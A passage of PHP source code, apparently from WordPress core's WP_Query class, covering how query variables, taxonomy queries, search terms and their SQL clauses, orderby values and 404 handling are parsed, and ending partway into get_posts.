or comma-separated list of IDs. * @type string[] $tag_slug__and An array of tag slugs (AND in). * @type string[] $tag_slug__in An array of tag slugs (OR in). unless 'ignore_sticky_posts' is * true. Note: a string of comma-separated IDs will NOT work. * @type array $tax_query An associative array of WP_Tax_Query arguments. * See WP_Tax_Query->__construct(). * @type string $title Post title. * @type bool $update_post_meta_cache Whether to update the post meta cache. Default true. * @type bool $update_post_term_cache Whether to update the post term cache. Default true. * @type bool $lazy_load_term_meta Whether to lazy-load term meta. Setting to false will * disable cache priming for term meta, so that each * get_term_meta() call will hit the database. * Defaults to the value of `$update_post_term_cache`. * @type int $w The week number of the year. Default empty. Accepts numbers 0-53. * @type int $year The four-digit year. Default empty. Accepts any four-digit year. * } */ public function parse_query( $query = '' ) { if ( ! empty( $query ) ) { $this->init(); $this->query = wp_parse_args( $query ); $this->query_vars = $this->query; } elseif ( ! isset( $this->query ) ) { $this->query = $this->query_vars; } $this->query_vars = $this->fill_query_vars( $this->query_vars ); $qv = &$this->query_vars; $this->query_vars_changed = true; if ( ! empty( $qv['robots'] ) ) { $this->is_robots = true; } elseif ( ! empty( $qv['favicon'] ) ) { $this->is_favicon = true; } if ( ! is_scalar( $qv['p'] ) || (int) $qv['p'] < 0 ) { $qv['p'] = 0; $qv['error'] = '404'; } else { $qv['p'] = (int) $qv['p']; } $qv['page_id'] = absint( $qv['page_id'] ); $qv['year'] = absint( $qv['year'] ); $qv['monthnum'] = absint( $qv['monthnum'] ); $qv['day'] = absint( $qv['day'] ); $qv['w'] = absint( $qv['w'] ); $qv['m'] = is_scalar( $qv['m'] ) ? preg_replace( '|[^0-9]|', '', $qv['m'] ) : ''; $qv['paged'] = absint( $qv['paged'] ); $qv['cat'] = preg_replace( '|[^0-9,-]|', '', $qv['cat'] ); // Comma-separated list of positive or negative integers. $qv['author'] = preg_replace( '|[^0-9,-]|', '', $qv['author'] ); // Comma-separated list of positive or negative integers. $qv['pagename'] = trim( $qv['pagename'] ); $qv['name'] = trim( $qv['name'] ); $qv['title'] = trim( $qv['title'] ); if ( '' !== $qv['hour'] ) { $qv['hour'] = absint( $qv['hour'] ); } if ( '' !== $qv['minute'] ) { $qv['minute'] = absint( $qv['minute'] ); } if ( '' !== $qv['second'] ) { $qv['second'] = absint( $qv['second'] ); } if ( '' !== $qv['menu_order'] ) { $qv['menu_order'] = absint( $qv['menu_order'] ); } // Fairly large, potentially too large, upper bound for search string lengths. if ( ! is_scalar( $qv['s'] ) || ( ! empty( $qv['s'] ) && strlen( $qv['s'] ) > 1600 ) ) { $qv['s'] = ''; } // Compat. Map subpost to attachment. if ( '' != $qv['subpost'] ) { $qv['attachment'] = $qv['subpost']; } if ( '' != $qv['subpost_id'] ) { $qv['attachment_id'] = $qv['subpost_id']; } $qv['attachment_id'] = absint( $qv['attachment_id'] ); if ( ( '' !== $qv['attachment'] ) || ! empty( $qv['attachment_id'] ) ) { $this->is_single = true; $this->is_attachment = true; } elseif ( '' !== $qv['name'] ) { $this->is_single = true; } elseif ( $qv['p'] ) { $this->is_single = true; } elseif ( '' !== $qv['pagename'] || ! empty( $qv['page_id'] ) ) { $this->is_page = true; $this->is_single = false; } else { // Look for archive queries. Dates, categories, authors, search, post type archives. if ( isset( $this->query['s'] ) ) { $this->is_search = true; } if ( '' !== $qv['second'] ) { $this->is_time = true; $this->is_date = true; } if ( '' !== $qv['minute'] ) { $this->is_time = true; $this->is_date = true; } if ( '' !== $qv['hour'] ) { $this->is_time = true; $this->is_date = true; } if ( $qv['day'] ) { if ( ! $this->is_date ) { $date = sprintf( '%04d-%02d-%02d', $qv['year'], $qv['monthnum'], $qv['day'] ); if ( $qv['monthnum'] && $qv['year'] && ! wp_checkdate( $qv['monthnum'], $qv['day'], $qv['year'], $date ) ) { $qv['error'] = '404'; } else { $this->is_day = true; $this->is_date = true; } } } if ( $qv['monthnum'] ) { if ( ! $this->is_date ) { if ( 12 < $qv['monthnum'] ) { $qv['error'] = '404'; } else { $this->is_month = true; $this->is_date = true; } } } if ( $qv['year'] ) { if ( ! $this->is_date ) { $this->is_year = true; $this->is_date = true; } } if ( $qv['m'] ) { $this->is_date = true; if ( strlen( $qv['m'] ) > 9 ) { $this->is_time = true; } elseif ( strlen( $qv['m'] ) > 7 ) { $this->is_day = true; } elseif ( strlen( $qv['m'] ) > 5 ) { $this->is_month = true; } else { $this->is_year = true; } } if ( $qv['w'] ) { $this->is_date = true; } $this->query_vars_hash = false; $this->parse_tax_query( $qv ); foreach ( $this->tax_query->queries as $tax_query ) { if ( ! is_array( $tax_query ) ) { continue; } if ( isset( $tax_query['operator'] ) && 'NOT IN' !== $tax_query['operator'] ) { switch ( $tax_query['taxonomy'] ) { case 'category': $this->is_category = true; break; case 'post_tag': $this->is_tag = true; break; default: $this->is_tax = true; } } } unset( $tax_query ); if ( empty( $qv['author'] ) || ( '0' == $qv['author'] ) ) { $this->is_author = false; } else { $this->is_author = true; } if ( '' !== $qv['author_name'] ) { $this->is_author = true; } if ( ! empty( $qv['post_type'] ) && ! is_array( $qv['post_type'] ) ) { $post_type_obj = get_post_type_object( $qv['post_type'] ); if ( ! empty( $post_type_obj->has_archive ) ) { $this->is_post_type_archive = true; } } if ( $this->is_post_type_archive || $this->is_date || $this->is_author || $this->is_category || $this->is_tag || $this->is_tax ) { $this->is_archive = true; } } if ( '' != $qv['feed'] ) { $this->is_feed = true; } if ( '' != $qv['embed'] ) { $this->is_embed = true; } if ( '' != $qv['tb'] ) { $this->is_trackback = true; } if ( '' != $qv['paged'] && ( (int) $qv['paged'] > 1 ) ) { $this->is_paged = true; } // If we're previewing inside the write screen. if ( '' != $qv['preview'] ) { $this->is_preview = true; } if ( is_admin() ) { $this->is_admin = true; } if ( false !== strpos( $qv['feed'], 'comments-' ) ) { $qv['feed'] = str_replace( 'comments-', '', $qv['feed'] ); $qv['withcomments'] = 1; } $this->is_singular = $this->is_single || $this->is_page || $this->is_attachment; if ( $this->is_feed && ( ! empty( $qv['withcomments'] ) || ( empty( $qv['withoutcomments'] ) && $this->is_singular ) ) ) { $this->is_comment_feed = true; } if ( ! ( $this->is_singular || $this->is_archive || $this->is_search || $this->is_feed || ( defined( 'REST_REQUEST' ) && REST_REQUEST && $this->is_main_query() ) || $this->is_trackback || $this->is_404 || $this->is_admin || $this->is_robots || $this->is_favicon ) ) { $this->is_home = true; } // Correct `is_*` for 'page_on_front' and 'page_for_posts'. if ( $this->is_home && 'page' === get_option( 'show_on_front' ) && get_option( 'page_on_front' ) ) { $_query = wp_parse_args( $this->query ); // 'pagename' can be set and empty depending on matched rewrite rules. Ignore an empty 'pagename'. if ( isset( $_query['pagename'] ) && '' === $_query['pagename'] ) { unset( $_query['pagename'] ); } unset( $_query['embed'] ); if ( empty( $_query ) || ! array_diff( array_keys( $_query ), array( 'preview', 'page', 'paged', 'cpage' ) ) ) { $this->is_page = true; $this->is_home = false; $qv['page_id'] = get_option( 'page_on_front' ); // Correct <!--nextpage--> for 'page_on_front'. if ( ! empty( $qv['paged'] ) ) { $qv['page'] = $qv['paged']; unset( $qv['paged'] ); } } } if ( '' !== $qv['pagename'] ) { $this->queried_object = get_page_by_path( $qv['pagename'] ); if ( $this->queried_object && 'attachment' === $this->queried_object->post_type ) { if ( preg_match( '/^[^%]*%(?:postname)%/', get_option( 'permalink_structure' ) ) ) { // See if we also have a post with the same slug. $post = get_page_by_path( $qv['pagename'], OBJECT, 'post' ); if ( $post ) { $this->queried_object = $post; $this->is_page = false; $this->is_single = true; } } } if ( ! empty( $this->queried_object ) ) { $this->queried_object_id = (int) $this->queried_object->ID; } else { unset( $this->queried_object ); } if ( 'page' === get_option( 'show_on_front' ) && isset( $this->queried_object_id ) && get_option( 'page_for_posts' ) == $this->queried_object_id ) { $this->is_page = false; $this->is_home = true; $this->is_posts_page = true; } if ( isset( $this->queried_object_id ) && get_option( 'wp_page_for_privacy_policy' ) == $this->queried_object_id ) { $this->is_privacy_policy = true; } } if ( $qv['page_id'] ) { if ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_for_posts' ) == $qv['page_id'] ) { $this->is_page = false; $this->is_home = true; $this->is_posts_page = true; } if ( get_option( 'wp_page_for_privacy_policy' ) == $qv['page_id'] ) { $this->is_privacy_policy = true; } } if ( ! empty( $qv['post_type'] ) ) { if ( is_array( $qv['post_type'] ) ) { $qv['post_type'] = array_map( 'sanitize_key', $qv['post_type'] ); } else { $qv['post_type'] = sanitize_key( $qv['post_type'] ); } } if ( ! empty( $qv['post_status'] ) ) { if ( is_array( $qv['post_status'] ) ) { $qv['post_status'] = array_map( 'sanitize_key', $qv['post_status'] ); } else { $qv['post_status'] = preg_replace( '|[^a-z0-9_,-]|', '', $qv['post_status'] ); } } if ( $this->is_posts_page && ( ! isset( $qv['withcomments'] ) || ! $qv['withcomments'] ) ) { $this->is_comment_feed = false; } $this->is_singular = $this->is_single || $this->is_page || $this->is_attachment; // Done correcting `is_*` for 'page_on_front' and 'page_for_posts'. if ( '404' == $qv['error'] ) { $this->set_404(); } $this->is_embed = $this->is_embed && ( $this->is_singular || $this->is_404 ); $this->query_vars_hash = md5( serialize( $this->query_vars ) ); $this->query_vars_changed = false; /** * Fires after the main query vars have been parsed. * * @since 1.5.0 * * @param WP_Query $query The WP_Query instance (passed by reference). */ do_action_ref_array( 'parse_query', array( &$this ) ); } /** * Parses various taxonomy related query vars. * * For BC, this method is not marked as protected. See [28987]. * * @since 3.1.0 * * @param array $q The query variables. Passed by reference. */ public function parse_tax_query( &$q ) { if ( ! empty( $q['tax_query'] ) && is_array( $q['tax_query'] ) ) { $tax_query = $q['tax_query']; } else { $tax_query = array(); } if ( ! empty( $q['taxonomy'] ) && ! empty( $q['term'] ) ) { $tax_query[] = array( 'taxonomy' => $q['taxonomy'], 'terms' => array( $q['term'] ), 'field' => 'slug', ); } foreach ( get_taxonomies( array(), 'objects' ) as $taxonomy => $t ) { if ( 'post_tag' === $taxonomy ) { continue; // Handled further down in the $q['tag'] block. } if ( $t->query_var && ! empty( $q[ $t->query_var ] ) ) { $tax_query_defaults = array( 'taxonomy' => $taxonomy, 'field' => 'slug', ); if ( isset( $t->rewrite['hierarchical'] ) && $t->rewrite['hierarchical'] ) { $q[ $t->query_var ] = wp_basename( $q[ $t->query_var ] ); } $term = $q[ $t->query_var ]; if ( is_array( $term ) ) { $term = implode( ',', $term ); } if ( strpos( $term, '+' ) !== false ) { $terms = preg_split( '/[+]+/', $term ); foreach ( $terms as $term ) { $tax_query[] = array_merge( $tax_query_defaults, array( 'terms' => array( $term ), ) ); } } else { $tax_query[] = array_merge( $tax_query_defaults, array( 'terms' => preg_split( '/[,]+/', $term ), ) ); } } } // If query string 'cat' is an array, implode it. if ( is_array( $q['cat'] ) ) { $q['cat'] = implode( ',', $q['cat'] ); } // Category stuff. if ( ! empty( $q['cat'] ) && ! $this->is_singular ) { $cat_in = array(); $cat_not_in = array(); $cat_array = preg_split( '/[,\s]+/', urldecode( $q['cat'] ) ); $cat_array = array_map( 'intval', $cat_array ); $q['cat'] = implode( ',', $cat_array ); foreach ( $cat_array as $cat ) { if ( $cat > 0 ) { $cat_in[] = $cat; } elseif ( $cat < 0 ) { $cat_not_in[] = abs( $cat ); } } if ( ! empty( $cat_in ) ) { $tax_query[] = array( 'taxonomy' => 'category', 'terms' => $cat_in, 'field' => 'term_id', 'include_children' => true, ); } if ( ! empty( $cat_not_in ) ) { $tax_query[] = array( 'taxonomy' => 'category', 'terms' => $cat_not_in, 'field' => 'term_id', 'operator' => 'NOT IN', 'include_children' => true, ); } unset( $cat_array, $cat_in, $cat_not_in ); } if ( ! empty( $q['category__and'] ) && 1 === count( (array) $q['category__and'] ) ) { $q['category__and'] = (array) $q['category__and']; if ( ! isset( $q['category__in'] ) ) { $q['category__in'] = array(); } $q['category__in'][] = absint( reset( $q['category__and'] ) ); unset( $q['category__and'] ); } if ( ! empty( $q['category__in'] ) ) { $q['category__in'] = array_map( 'absint', array_unique( (array) $q['category__in'] ) ); $tax_query[] = array( 'taxonomy' => 'category', 'terms' => $q['category__in'], 'field' => 'term_id', 'include_children' => false, ); } if ( ! empty( $q['category__not_in'] ) ) { $q['category__not_in'] = array_map( 'absint', array_unique( (array) $q['category__not_in'] ) ); $tax_query[] = array( 'taxonomy' => 'category', 'terms' => $q['category__not_in'], 'operator' => 'NOT IN', 'include_children' => false, ); } if ( ! empty( $q['category__and'] ) ) { $q['category__and'] = array_map( 'absint', array_unique( (array) $q['category__and'] ) ); $tax_query[] = array( 'taxonomy' => 'category', 'terms' => $q['category__and'], 'field' => 'term_id', 'operator' => 'AND', 'include_children' => false, ); } // If query string 'tag' is array, implode it. if ( is_array( $q['tag'] ) ) { $q['tag'] = implode( ',', $q['tag'] ); } // Tag stuff. if ( '' !== $q['tag'] && ! $this->is_singular && $this->query_vars_changed ) { if ( strpos( $q['tag'], ',' ) !== false ) { $tags = preg_split( '/[,\r\n\t ]+/', $q['tag'] ); foreach ( (array) $tags as $tag ) { $tag = sanitize_term_field( 'slug', $tag, 0, 'post_tag', 'db' ); $q['tag_slug__in'][] = $tag; } } elseif ( preg_match( '/[+\r\n\t ]+/', $q['tag'] ) || ! empty( $q['cat'] ) ) { $tags = preg_split( '/[+\r\n\t ]+/', $q['tag'] ); foreach ( (array) $tags as $tag ) { $tag = sanitize_term_field( 'slug', $tag, 0, 'post_tag', 'db' ); $q['tag_slug__and'][] = $tag; } } else { $q['tag'] = sanitize_term_field( 'slug', $q['tag'], 0, 'post_tag', 'db' ); $q['tag_slug__in'][] = $q['tag']; } } if ( ! empty( $q['tag_id'] ) ) { $q['tag_id'] = absint( $q['tag_id'] ); $tax_query[] = array( 'taxonomy' => 'post_tag', 'terms' => $q['tag_id'], ); } if ( ! empty( $q['tag__in'] ) ) { $q['tag__in'] = array_map( 'absint', array_unique( (array) $q['tag__in'] ) ); $tax_query[] = array( 'taxonomy' => 'post_tag', 'terms' => $q['tag__in'], ); } if ( ! empty( $q['tag__not_in'] ) ) { $q['tag__not_in'] = array_map( 'absint', array_unique( (array) $q['tag__not_in'] ) ); $tax_query[] = array( 'taxonomy' => 'post_tag', 'terms' => $q['tag__not_in'], 'operator' => 'NOT IN', ); } if ( ! empty( $q['tag__and'] ) ) { $q['tag__and'] = array_map( 'absint', array_unique( (array) $q['tag__and'] ) ); $tax_query[] = array( 'taxonomy' => 'post_tag', 'terms' => $q['tag__and'], 'operator' => 'AND', ); } if ( ! empty( $q['tag_slug__in'] ) ) { $q['tag_slug__in'] = array_map( 'sanitize_title_for_query', array_unique( (array) $q['tag_slug__in'] ) ); $tax_query[] = array( 'taxonomy' => 'post_tag', 'terms' => $q['tag_slug__in'], 'field' => 'slug', ); } if ( ! empty( $q['tag_slug__and'] ) ) { $q['tag_slug__and'] = array_map( 'sanitize_title_for_query', array_unique( (array) $q['tag_slug__and'] ) ); $tax_query[] = array( 'taxonomy' => 'post_tag', 'terms' => $q['tag_slug__and'], 'field' => 'slug', 'operator' => 'AND', ); } $this->tax_query = new WP_Tax_Query( $tax_query ); /** * Fires after taxonomy-related query vars have been parsed. * * @since 3.7.0 * * @param WP_Query $query The WP_Query instance. */ do_action( 'parse_tax_query', $this ); } /** * Generates SQL for the WHERE clause based on passed search terms. * * @since 3.7.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $q Query variables. * @return string WHERE clause. */ protected function parse_search( &$q ) { global $wpdb; $search = ''; // Added slashes screw with quote grouping when done early, so done later. $q['s'] = stripslashes( $q['s'] ); if ( empty( $_GET['s'] ) && $this->is_main_query() ) { $q['s'] = urldecode( $q['s'] ); } // There are no line breaks in <input /> fields. $q['s'] = str_replace( array( "\r", "\n" ), '', $q['s'] ); $q['search_terms_count'] = 1; if ( ! empty( $q['sentence'] ) ) { $q['search_terms'] = array( $q['s'] ); } else { if ( preg_match_all( '/".*?("|$)|((?<=[\t ",+])|^)[^\t ",+]+/', $q['s'], $matches ) ) { $q['search_terms_count'] = count( $matches[0] ); $q['search_terms'] = $this->parse_search_terms( $matches[0] ); // If the search string has only short terms or stopwords, or is 10+ terms long, match it as sentence. if ( empty( $q['search_terms'] ) || count( $q['search_terms'] ) > 9 ) { $q['search_terms'] = array( $q['s'] ); } } else { $q['search_terms'] = array( $q['s'] ); } } $n = ! empty( $q['exact'] ) ? '' : '%'; $searchand = ''; $q['search_orderby_title'] = array(); /** * Filters the prefix that indicates that a search term should be excluded from results. * * @since 4.7.0 * * @param string $exclusion_prefix The prefix. Default '-'. Returning * an empty value disables exclusions. */ $exclusion_prefix = apply_filters( 'wp_query_search_exclusion_prefix', '-' ); foreach ( $q['search_terms'] as $term ) { // If there is an $exclusion_prefix, terms prefixed with it should be excluded. $exclude = $exclusion_prefix && ( substr( $term, 0, 1 ) === $exclusion_prefix ); if ( $exclude ) { $like_op = 'NOT LIKE'; $andor_op = 'AND'; $term = substr( $term, 1 ); } else { $like_op = 'LIKE'; $andor_op = 'OR'; } if ( $n && ! $exclude ) { $like = '%' . $wpdb->esc_like( $term ) . '%'; $q['search_orderby_title'][] = $wpdb->prepare( "{$wpdb->posts}.post_title LIKE %s", $like ); } $like = $n . $wpdb->esc_like( $term ) . $n; $search .= $wpdb->prepare( "{$searchand}(({$wpdb->posts}.post_title $like_op %s) $andor_op ({$wpdb->posts}.post_excerpt $like_op %s) $andor_op ({$wpdb->posts}.post_content $like_op %s))", $like, $like, $like ); $searchand = ' AND '; } if ( ! empty( $search ) ) { $search = " AND ({$search}) "; if ( ! is_user_logged_in() ) { $search .= " AND ({$wpdb->posts}.post_password = '') "; } } return $search; } /** * Check if the terms are suitable for searching. * * Uses an array of stopwords (terms) that are excluded from the separate * term matching when searching for posts. The list of English stopwords is * the approximate search engines list, and is translatable. * * @since 3.7.0 * * @param string[] $terms Array of terms to check. * @return string[] Terms that are not stopwords. */ protected function parse_search_terms( $terms ) { $strtolower = function_exists( 'mb_strtolower' ) ? 'mb_strtolower' : 'strtolower'; $checked = array(); $stopwords = $this->get_search_stopwords(); foreach ( $terms as $term ) { // Keep before/after spaces when term is for exact match. if ( preg_match( '/^".+"$/', $term ) ) { $term = trim( $term, "\"'" ); } else { $term = trim( $term, "\"' " ); } // Avoid single A-Z and single dashes. if ( ! $term || ( 1 === strlen( $term ) && preg_match( '/^[a-z\-]$/i', $term ) ) ) { continue; } if ( in_array( call_user_func( $strtolower, $term ), $stopwords, true ) ) { continue; } $checked[] = $term; } return $checked; } /** * Retrieve stopwords used when parsing search terms. * * @since 3.7.0 * * @return string[] Stopwords. */ protected function get_search_stopwords() { if ( isset( $this->stopwords ) ) { return $this->stopwords; } /* * translators: This is a comma-separated list of very common words that should be excluded from a search, * like a, an, and the. These are usually called "stopwords". You should not simply translate these individual * words into your language. Instead, look for and provide commonly accepted stopwords in your language. */ $words = explode( ',', _x( 'about,an,are,as,at,be,by,com,for,from,how,in,is,it,of,on,or,that,the,this,to,was,what,when,where,who,will,with,www', 'Comma-separated list of search stopwords in your language' ) ); $stopwords = array(); foreach ( $words as $word ) { $word = trim( $word, "\r\n\t " ); if ( $word ) { $stopwords[] = $word; } } /** * Filters stopwords used when parsing search terms. * * @since 3.7.0 * * @param string[] $stopwords Array of stopwords. */ $this->stopwords = apply_filters( 'wp_search_stopwords', $stopwords ); return $this->stopwords; } /** * Generates SQL for the ORDER BY condition based on passed search terms. * * @since 3.7.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param array $q Query variables. * @return string ORDER BY clause. */ protected function parse_search_order( &$q ) { global $wpdb; if ( $q['search_terms_count'] > 1 ) { $num_terms = count( $q['search_orderby_title'] ); // If the search terms contain negative queries, don't bother ordering by sentence matches. $like = ''; if ( ! preg_match( '/(?:\s|^)\-/', $q['s'] ) ) { $like = '%' . $wpdb->esc_like( $q['s'] ) . '%'; } $search_orderby = ''; // Sentence match in 'post_title'. if ( $like ) { $search_orderby .= $wpdb->prepare( "WHEN {$wpdb->posts}.post_title LIKE %s THEN 1 ", $like ); } // Sanity limit, sort as sentence when more than 6 terms // (few searches are longer than 6 terms and most titles are not). if ( $num_terms < 7 ) { // All words in title. $search_orderby .= 'WHEN ' . implode( ' AND ', $q['search_orderby_title'] ) . ' THEN 2 '; // Any word in title, not needed when $num_terms == 1. if ( $num_terms > 1 ) { $search_orderby .= 'WHEN ' . implode( ' OR ', $q['search_orderby_title'] ) . ' THEN 3 '; } } // Sentence match in 'post_content' and 'post_excerpt'. if ( $like ) { $search_orderby .= $wpdb->prepare( "WHEN {$wpdb->posts}.post_excerpt LIKE %s THEN 4 ", $like ); $search_orderby .= $wpdb->prepare( "WHEN {$wpdb->posts}.post_content LIKE %s THEN 5 ", $like ); } if ( $search_orderby ) { $search_orderby = '(CASE ' . $search_orderby . 'ELSE 6 END)'; } } else { // Single word or sentence search. $search_orderby = reset( $q['search_orderby_title'] ) . ' DESC'; } return $search_orderby; } /** * Converts the given orderby alias (if allowed) to a properly-prefixed value. * * @since 4.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $orderby Alias for the field to order by. * @return string|false Table-prefixed value to used in the ORDER clause. False otherwise. */ protected function parse_orderby( $orderby ) { global $wpdb; // Used to filter values. $allowed_keys = array( 'post_name', 'post_author', 'post_date', 'post_title', 'post_modified', 'post_parent', 'post_type', 'name', 'author', 'date', 'title', 'modified', 'parent', 'type', 'ID', 'menu_order', 'comment_count', 'rand', 'post__in', 'post_parent__in', 'post_name__in', ); $primary_meta_key = ''; $primary_meta_query = false; $meta_clauses = $this->meta_query->get_clauses(); if ( ! empty( $meta_clauses ) ) { $primary_meta_query = reset( $meta_clauses ); if ( ! empty( $primary_meta_query['key'] ) ) { $primary_meta_key = $primary_meta_query['key']; $allowed_keys[] = $primary_meta_key; } $allowed_keys[] = 'meta_value'; $allowed_keys[] = 'meta_value_num'; $allowed_keys = array_merge( $allowed_keys, array_keys( $meta_clauses ) ); } // If RAND() contains a seed value, sanitize and add to allowed keys. $rand_with_seed = false; if ( preg_match( '/RAND\(([0-9]+)\)/i', $orderby, $matches ) ) { $orderby = sprintf( 'RAND(%s)', (int) $matches[1] ); $allowed_keys[] = $orderby; $rand_with_seed = true; } if ( ! in_array( $orderby, $allowed_keys, true ) ) { return false; } $orderby_clause = ''; switch ( $orderby ) { case 'post_name': case 'post_author': case 'post_date': case 'post_title': case 'post_modified': case 'post_parent': case 'post_type': case 'ID': case 'menu_order': case 'comment_count': $orderby_clause = "{$wpdb->posts}.{$orderby}"; break; case 'rand': $orderby_clause = 'RAND()'; break; case $primary_meta_key: case 'meta_value': if ( ! empty( $primary_meta_query['type'] ) ) { $orderby_clause = "CAST({$primary_meta_query['alias']}.meta_value AS {$primary_meta_query['cast']})"; } else { $orderby_clause = "{$primary_meta_query['alias']}.meta_value"; } break; case 'meta_value_num': $orderby_clause = "{$primary_meta_query['alias']}.meta_value+0"; break; case 'post__in': if ( ! empty( $this->query_vars['post__in'] ) ) { $orderby_clause = "FIELD({$wpdb->posts}.ID," . implode( ',', array_map( 'absint', $this->query_vars['post__in'] ) ) . ')'; } break; case 'post_parent__in': if ( ! empty( $this->query_vars['post_parent__in'] ) ) { $orderby_clause = "FIELD( {$wpdb->posts}.post_parent," . implode( ', ', array_map( 'absint', $this->query_vars['post_parent__in'] ) ) . ' )'; } break; case 'post_name__in': if ( ! empty( $this->query_vars['post_name__in'] ) ) { $post_name__in = array_map( 'sanitize_title_for_query', $this->query_vars['post_name__in'] ); $post_name__in_string = "'" . implode( "','", $post_name__in ) . "'"; $orderby_clause = "FIELD( {$wpdb->posts}.post_name," . $post_name__in_string . ' )'; } break; default: if ( array_key_exists( $orderby, $meta_clauses ) ) { // $orderby corresponds to a meta_query clause. $meta_clause = $meta_clauses[ $orderby ]; $orderby_clause = "CAST({$meta_clause['alias']}.meta_value AS {$meta_clause['cast']})"; } elseif ( $rand_with_seed ) { $orderby_clause = $orderby; } else { // Default: order by post field. $orderby_clause = "{$wpdb->posts}.post_" . sanitize_key( $orderby ); } break; } return $orderby_clause; } /** * Parse an 'order' query variable and cast it to ASC or DESC as necessary. * * @since 4.0.0 * * @param string $order The 'order' query variable. * @return string The sanitized 'order' query variable. */ protected function parse_order( $order ) { if ( ! is_string( $order ) || empty( $order ) ) { return 'DESC'; } if ( 'ASC' === strtoupper( $order ) ) { return 'ASC'; } else { return 'DESC'; } } /** * Sets the 404 property and saves whether query is feed. * * @since 2.0.0 */ public function set_404() { $is_feed = $this->is_feed; $this->init_query_flags(); $this->is_404 = true; $this->is_feed = $is_feed; /** * Fires after a 404 is triggered. * * @since 5.5.0 * * @param WP_Query $query The WP_Query instance (passed by reference). */ do_action_ref_array( 'set_404', array( $this ) ); } /** * Retrieves the value of a query variable. * * @since 1.5.0 * @since 3.9.0 The `$default` argument was introduced. * * @param string $query_var Query variable key. * @param mixed $default Optional. Value to return if the query variable is not set. Default empty string. * @return mixed Contents of the query variable. */ public function get( $query_var, $default = '' ) { if ( isset( $this->query_vars[ $query_var ] ) ) { return $this->query_vars[ $query_var ]; } return $default; } /** * Sets the value of a query variable. * * @since 1.5.0 * * @param string $query_var Query variable key. * @param mixed $value Query variable value. */ public function set( $query_var, $value ) { $this->query_vars[ $query_var ] = $value; } /** * Retrieves an array of posts based on query variables. * * There are a few filters and actions that can be used to modify the post * database query. * * @since 1.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return WP_Post[]|int[] Array of post objects or post IDs. */ public function get_posts() { global $wpdb; $this->parse_query(); /** * Fires after the query variable object is created, but before the actual query is run. * * Note: If using conditional tags, use the method versions within the passed instance * (e.g. $this->is_main_query() instead of is_main_query()). This is because the functions * like is_main_query() test against the global $wp_query instance, not the passed one. * * @since 2.0.0 * * @param WP_Query $query The WP_Query instance (passed by reference). */ do_action_ref_array( 'pre_get_posts', array( &$this ) ); // Shorthand. $q = &$this->query_vars; // Fill again in case 'pre_get_posts' unset some vars. $q = $this->fill_query_vars( $q ); // Parse meta query. $this->meta_query = new WP_Meta_Query(); $this->meta_query->parse_query_vars( $q ); // Set a flag if a 'pre_get_posts' hook changed the query vars. $hash = md5( serialize( $this->query_vars ) ); if ( $hash != $this->query_vars_hash ) { $this->query_vars_changed = true; $this->query_vars_hash = $hash; } unset( $hash ); // First let's clear some variables. $distinct = ''; $whichauthor = ''; $whichmimetype = ''; $where = ''; $limits = ''; $join = ''; $search = ''; $groupby = ''; $post_status_join = false; $page = 1; if ( isset( $q['caller_get_posts'] ) ) { _deprecated_argument( 'WP_Query', '3.1.0', sprintf( /* translators: 1: caller_get_posts, 2: ignore_sticky_posts */ __( '%1$s is deprecated. Use %2$s instead.' ), '<code>caller_get_posts</code>', '<code>ignore_sticky_posts</code>' ) ); if ( ! isset( $q['ignore_sticky_posts'] ) ) { $q['ignore_sticky_posts'] = $q['caller_get_posts']; } } if ( ! isset( $q['ignore_sticky_posts'] ) ) { $q['ignore_sticky_posts'] = false; } if ( ! isset( $q['suppress_filters'] ) ) { $q['suppress_filters'] = false; } if ( ! isset( $q['cache_results'] ) ) { if ( wp_using_ext_object_cache() ) { $q['cache_results'] = false; } else { $q['cache_results'] = true; } } if ( ! isset( $q['update_post_term_cache'] ) ) { $q['update_post_term_cache'] = true; } if ( ! isset( $q['lazy_load_term_meta'] ) ) { $q['lazy_load_term_meta'] = $q['update_post_term_cache']; } if ( ! isset( $q['update_post_meta_cache'] ) ) { $q['update_post_meta_cache'] = true; } if ( ! isset( $q['post_type'] ) ) { if ( $this->is_search ) { $q['post_type'] = 'any'; } else { $q['post_type'] = ''; } } $post_type = $q['post_type']; if ( empty( $q['posts_per_page'] ) ) { $q['posts_per_page'] = get_option( 'posts_per_page' ); } if ( isset( $q['showposts'] ) && $q['showposts'] ) { $q['showposts'] = (int) $q['showposts']; $q['posts_per_page'] = $q['showposts']; } if ( ( isset( $q['posts_per_archive_page'] ) && 0 != $q['posts_per_archive_page'] ) && ( $this->is_archive || $this->is_search ) ) { $q['posts_per_page'] = $q['posts_per_archive_page']; } if ( ! isset( $q['nopaging'] ) ) { if ( -1 == $q['posts_per_page'] ) { $q['nopaging'] = true; } else { $q['nopaging'] = false; } } if ( $this->is_feed ) { // This overrides 'posts_per_page'. if ( ! empty( $q['posts_per_rss'] ) ) { $q['posts_per_page'] = $q['posts_per_rss']; } else { $q['posts_per_page'] = get_option( 'posts_per_rss' ); } $q['nopaging'] = false; } $q['posts_per_page'] = (int) $q['posts_per_page']; if ( $q['posts_per_page'] < -1 ) { $q['posts_per_page'] = abs( $q['posts_per_page'] ); } elseif ( 0 == $q['posts_per_page'] ) { $q['posts_per_page'] = 1; } if ( ! isset( $q['comments_per_page'] ) || 0 == $q['comments_per_page'] ) { $q['comments_per_page'] = get_option( 'comments_per_page' ); } if ( $this->is_home && ( empty( $this->query ) || 'true' === $q['preview'] ) && ( 'page' === get_option( 'show_on_front' ) ) && get_option( 'page_on_front' ) ) { $this->is_page = true; $this->is_home = false; $q['page_id'] = get_option( 'page_on_front' ); } if ( isset( $q['page'] ) ) { $q['page'] = trim( $q['page'], '/' ); $q['page'] = absint( $q['page'] ); } // If true, forcibly turns off SQL_CALC_FOUND_ROWS even when limits are present. if ( isset( $q['no_found_rows'] ) ) { $q['no_found_rows'] = (bool) $q['no_found_rows']; } else { $q['no_found_rows'] = false; } switch ( $q['fields'] ) { case 'ids': $fields = "{$wpdb->posts}.ID"; break; case 'id=>parent': $fields = "{$wpdb->posts}.ID, {$wpdb->posts}.post_parent"; break; default: $fields = "{$wpdb->posts}.*"; } if ( '' !== $q['menu_order'] ) { $where .= " AND {$wpdb->posts}.menu_order = " . $q['menu_order']; } // The "m" parameter is meant for months but accepts datetimes of varying specificity. if ( $q['m'] ) { $where .= " AND YEAR({$wpdb->posts}.post_date)=" . 